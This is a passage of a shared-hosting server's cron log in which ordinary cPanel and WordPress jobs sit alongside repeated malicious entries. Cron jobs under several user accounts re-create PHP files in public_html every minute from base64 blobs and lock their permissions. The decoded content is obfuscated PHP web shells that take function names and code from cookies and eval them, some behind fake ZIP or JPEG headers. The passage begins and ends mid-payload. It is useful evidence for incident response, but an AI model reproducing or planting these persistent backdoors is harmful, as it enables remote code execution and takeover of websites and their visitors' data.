JF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:26:02 medusa CROND[9466]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:26:02 medusa CROND[9467]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:26:02 medusa CROND[9471]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:26:02 medusa CROND[9472]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:26:02 medusa CROND[9473]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:26:02 medusa CROND[9474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:26:02 medusa CROND[9479]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:26:02 medusa CROND[9481]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:26:02 medusa CROND[9494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:26:02 medusa CROND[9496]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:26:02 medusa CROND[9504]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:26:02 medusa CROND[9510]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:27:02 medusa CROND[26183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:27:02 medusa CROND[26184]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:27:02 medusa CROND[26185]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:27:02 medusa CROND[26186]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:27:02 medusa CROND[26196]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:27:02 medusa CROND[26197]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:27:02 medusa CROND[26201]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:27:02 medusa CROND[26205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:27:02 medusa CROND[26208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:27:02 medusa CROND[26209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:27:02 medusa CROND[26221]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:27:02 medusa CROND[26195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:28:01 medusa CROND[10586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:28:01 medusa CROND[10633]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:28:01 medusa CROND[10945]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:28:01 medusa CROND[10946]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:28:01 medusa CROND[10947]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:28:01 medusa CROND[10949]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:28:01 medusa CROND[10948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:28:01 medusa CROND[10952]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCA